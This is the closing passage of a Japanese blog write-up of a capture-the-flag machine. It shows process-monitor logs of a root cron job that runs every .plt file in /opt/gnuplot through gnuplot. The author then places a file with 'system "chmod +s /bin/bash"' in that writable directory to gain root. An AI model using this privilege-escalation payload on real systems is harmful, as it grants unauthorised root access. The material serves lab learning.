2023/06/15 10:24:37 CMD: UID=0     PID=30     | 
2023/06/15 10:24:37 CMD: UID=0     PID=29     | 
2023/06/15 10:24:37 CMD: UID=0     PID=28     | 
2023/06/15 10:24:37 CMD: UID=0     PID=27     | 
2023/06/15 10:24:37 CMD: UID=0     PID=26     | 
2023/06/15 10:24:37 CMD: UID=0     PID=25     | 
2023/06/15 10:24:37 CMD: UID=0     PID=24     | 
2023/06/15 10:24:37 CMD: UID=0     PID=23     | 
2023/06/15 10:24:37 CMD: UID=0     PID=22     | 
2023/06/15 10:24:37 CMD: UID=0     PID=21     | 
2023/06/15 10:24:37 CMD: UID=0     PID=20     | 
2023/06/15 10:24:37 CMD: UID=0     PID=18     | 
2023/06/15 10:24:37 CMD: UID=0     PID=17     | 
2023/06/15 10:24:37 CMD: UID=0     PID=16     | 
2023/06/15 10:24:37 CMD: UID=0     PID=15     | 
2023/06/15 10:24:37 CMD: UID=0     PID=14     | 
2023/06/15 10:24:37 CMD: UID=0     PID=13     | 
2023/06/15 10:24:37 CMD: UID=0     PID=12     | 
2023/06/15 10:24:37 CMD: UID=0     PID=11     | 
2023/06/15 10:24:37 CMD: UID=0     PID=10     | 
2023/06/15 10:24:37 CMD: UID=0     PID=9      | 
2023/06/15 10:24:37 CMD: UID=0     PID=8      | 
2023/06/15 10:24:37 CMD: UID=0     PID=6      | 
2023/06/15 10:24:37 CMD: UID=0     PID=5      | 
2023/06/15 10:24:37 CMD: UID=0     PID=4      | 
2023/06/15 10:24:37 CMD: UID=0     PID=3      | 
2023/06/15 10:24:37 CMD: UID=0     PID=2      | 
2023/06/15 10:24:37 CMD: UID=0     PID=1      | /sbin/init 
2023/06/15 10:24:38 CMD: UID=33    PID=18789  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:39 CMD: UID=0     PID=18791  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:39 CMD: UID=0     PID=18790  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:40 CMD: UID=0     PID=18794  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:40 CMD: UID=0     PID=18793  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:40 CMD: UID=0     PID=18792  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:40 CMD: UID=0     PID=18795  | /usr/sbin/apache2 -k start 
2023/06/15 10:25:02 CMD: UID=0     PID=18798  | /bin/sh -c /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18797  | /usr/sbin/CRON -f 
2023/06/15 10:25:02 CMD: UID=0     PID=18796  | /usr/sbin/CRON -f 
2023/06/15 10:25:02 CMD: UID=0     PID=18803  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18802  | tr -s   
2023/06/15 10:25:02 CMD: UID=0     PID=18801  | grep enp 
2023/06/15 10:25:02 CMD: UID=0     PID=18800  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18799  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18807  | 
2023/06/15 10:25:02 CMD: UID=0     PID=18806  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18805  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18804  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18808  | /usr/sbin/CRON -f 
2023/06/15 10:25:02 CMD: UID=0     PID=18810  | gnuplot /opt/gnuplot/loadplot.plt 
2023/06/15 10:25:02 CMD: UID=0     PID=18809  | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/06/15 10:25:02 CMD: UID=0     PID=18811  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18812  | tail -60 /opt/gnuplot/loaddata.dat 
2023/06/15 10:25:02 CMD: UID=0     PID=18814  | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/06/15 10:25:03 CMD: UID=0     PID=18815  | /lib/systemd/systemd-udevd 
```
`/opt/gnuplot`階層で色々と動いてる。
実際に見に行ってみる。
![18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7aba002d-54ad-a09a-8921-b8311dcf64f9.png)
あー、Write権限だけあるのか。ならここにExploitファイルを作成してプロセスが回るのを待つ方向で行こう！

## gnuplot
`getdata.sh `を編集してもうまくいかなかったので以下のコマンドに注目する。
```bash
find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
```
`.plt`ファイルを見つけて、`gnuplt`コマンドで実行している。
`gnuplt`でのコマンド実行については以下のサイトを参考にした。

http://www.bersch.net/gnuplot-doc/system.html

Exploitファイルを以下のように`/opt/gnuplot`に作成する。
```bash:lol.plt
system "chmod +s /bin/bash"
```
これでこの`.plt`ファイルが実行されるのを待てばよい。
![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/99c555ff-b16b-55ca-3da5-992c5d2e9166.png)
上手くいきました！！！
これで特権昇格完了！！！

# まとめ
![20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/21d720c2-2fd3-6bee-610f-322609f57e4e.png)
今回のBoxは初手の侵入ベクトルがすごく難しかった。というよりラビットホールに吸い込まれていった。
発想の逆転が大事だなと感じたBoxでした。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。